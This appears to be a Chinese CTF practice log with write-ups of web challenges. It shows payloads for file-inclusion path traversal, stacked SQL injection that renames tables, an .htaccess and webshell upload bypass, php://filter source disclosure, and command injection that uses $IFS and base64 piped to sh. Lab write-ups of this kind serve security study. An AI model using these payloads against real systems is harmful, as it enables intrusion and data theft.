CTF刷题记录(一)

[HCTF 2018]WarmUp

文件包含,代码审计。

根据提示查看source.php看到源码,进行代码审计。

<?php

  highlight_file(__FILE__);  //高光显示

  class emmm    //定义一个类

  {

​    public static function checkFile(&$page)   //定义一个函数

​    {

​      $whitelist = ["source"=>"source.php","hint"=>"hint.php"];  //定义白名单

​      if (! isset($page) || !is_string($page)) {     //isset()判断变量是否声明,is_string判断变量是否为字符串

​         echo "you can't see it";

​        return false;

​      }

​      if (in_array($page, $whitelist)) {    //in_array判断page是否在白名单数组中

​        return true;

​      }

​      $_page = mb_substr(       //mb_substr(str,start,length)从start开始截取str字符串length长

​        $page,

​        0,

​        mb_strpos($page . '?', '?')   //mb_strpos返回要查找字符串的首次出现位置,page.’?’拼接一个‘?’

​      );

​      if (in_array($_page, $whitelist)) {

​        return true;

​      }

​      $_page = urldecode($page); //url解码

​      $_page = mb_substr(

​        $_page,

​        0,

​        mb_strpos($_page . '?', '?')

​      );

​      if (in_array($_page, $whitelist)) {

​        return true;

​      }

​      echo "you can't see it";

​      return false;

​    }

  }

  if (! empty($_REQUEST['file']) //请求file且file满足下列条件

​    && is_string($_REQUEST['file'])

​    && emmm::checkFile($_REQUEST['file'])

  ) {

​    include $_REQUEST['file'];  

​    exit;

  } else {

​    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";

  } 

?>

总体理解:请求file,cehckfile对其进行了三次白名单检测,2次问号截断,1次url解码,需要构造语句绕过这些检测。

Hint.php给出提示,flag就在ffffllllaaaagggg文件里,结合文件包含访问这个文件

image-20220415020227298

构造语句

file=source.php?../../../../../ffffllllaaaagggg

直接绕过第一次白名单检测,?截断语句成source.php绕过前第二次白名单检测,剩下source.php在拼接上‘?’和上一步一样第三次白名单检测,返回true之后执行文件包含漏洞执行后续语句,得到flag

image-20220415020240200

[极客大挑战 2019]EasySQL

简单get型sql注入

image-20220415020326438

[极客大挑战 2019]Havefun

image-20220415020407768

Get方式提交请求/?cat=dog

image-20220415020424699

[强网杯 2019]随便注

1’//or//1>0#有回显,存在注入点

image-20220415020507896

1'union(select//database(),2//)#回显

image-20220415020516607

说明存在过滤,试试大小写绕过,不行。Sqlmap也无法注入,搜查资料发现是堆叠注入。

堆叠注入

堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句。在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。

查库注入语句:

0';show database();#
image-20220415020601094

查表注入语句:0';show tables;#回显

image-20220415020618420
0';desc `1919810931114514`;#

查询第一个表

0';desc `1919810931114514`;#(desc 表示降序显示该表,注:需用反引号括起表名)

flag就在其中

查询第二个表

0';desc words;#
image-20220415020724217

不难看出,查询的后端语句可能为select id,data from words where id=,

但flag在另一个表中无法直接读出,这时候可以通过修改表名,使得查询语句查询的是flag表从而回显变成flag。

更换表名语句:rename table A to B

更换属性名语句:alter table A change x to b

注入语句:

0';rename table `words` to w;rename table `1919810931114514` to words;alter table `words` change flag id varchar(100);# (表名要用反引号括起)

再次查表,换名成功

image-20220415020820891

再次输入1’or 1>0#,得到flag

image-20220415020828269

[极客大挑战] 2019Knife

image-20220415020846527

很直白,蚁剑连接拿到flag

[GXYCTF2019]BabyUpload

不能含有ph,尝试用Apache漏洞php.xxx绕过,不成功。

上传.htaccess文件,.htaccess文件内容为把同名文件2.jpeg解析为php文件

image-20220415020917405

MIME绕过,content-type改为image/jpeg绕过文件类型检查

image-20220415020924311

再上传一个含有一句话木马的同名文件2.jpeg

image-20220415020955280

上传成功,访问jpeg文件成功,说明已被解析为php,蚁剑连接找到flag

image-20220415021005376

[极客大挑战 2019]Secret File

网页源码得到信息并访问

image-20220415021030051

得到以下页面,点击按钮显示查阅完毕

image-20220415021035545
image-20220415021054851

查看网页源码,显示跳转的是action页面,但最终给出的页面是end.php

image-20220415021114833
image-20220415021122956

使用burpsuit截拦action,得到信息secr3t.php

image-20220415021135755

访问该页面得到以下源代码

image-20220415021140901

意思是get传入一个文件名,文件名不能包含../、tp、input、data,包括其大小写,如果能够绕过这些过滤的话,传入的文件名就会被文件包含,同时提示了flag就在flag.php里。

考虑使用伪协议进行绕过,过滤了php://input,但没过滤php://filter

伪协议

php:// 访问各个输入/输出流(I/O streams);

php://filter用于读取源码,读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了;

php://input用于执行php代码,可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

结合文件包含漏洞构造

playload:?file=php://filter/read=convert.base64-encode/resource=flag.php

返回的是base64编码

image-20220415021255672

解码得出flag

image-20220415021306057

[GXYCTF2019]Ping Ping Ping

输入ip=1,回显

image-20220415021318613

利用Linux 命令执行的管道符漏洞

管道符

Windows:

Ping 2|whoami:直接执行后面语句;

Ping 2||whoami:前面语句为假时执行后面语句,前者只能是假

Ping 2&whoami:前面语句为假时执行后面语句,前者可假可真

Ping 2&&whoami:前面语句为假则不执行后者

Linux:

Ping 2;whoami:执行完前者执行后者

Ping 2|whoami:直接执行后者

Ping 2||whoami:前面语句为假时执行后面语句,前者只能是假

Ping 2&whoami:前面语句为假时执行后面语句,前者可假可真

Ping 2&&whoami:前面语句为假则不执行后者

构造playload:?ip=1;ls //返回当前目录

尝试访问flag.php

playload:?ip=1;cat flag.php
image-20220415021417955

过滤空格,$IFS$1绕过空格

playload:?ip=1;cat$IFS$1flag.php
image-20220415021531101

过滤了flag,再用变量绕过敏感字符

playload:?ip=1;b=g;cat$IFS$1fla$b.php

在网页源码找到了flag

image-20220415021622936

多解

先对 cat flag.php 进行base64 加密,过滤 bash ,那就用 sh

Playload:?ip=1; echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

内联执行,使用 `` 代替 | ,将反引号内命令执行两次

[第一章 web入门]常见的搜集

image-20220415021727374

源码看不到什么信息,根据提示查找敏感文件

1.gedit备份文件,格式为filename,如index.php 
 2.vim备份文件,格式为.filename.swp或者*.swo或者*.swn,比 如.index.php.swp
 3.robots.txt

查robots.txt

image-20220415021748561

根据提示访问

image-20220415021755420

访问index.php~

image-20220415021836827

访问index.php.swp,下载文件

image-20220415021844720
image-20220415021852565

三段flag拼接即是flag

[第一章 web入门]粗心的小李

题目提示与git相关,下载githack,执行命令

image-20220415021939161

image-20220415021946109

打开githack文件下的index.html得到flag

image-20220415021957944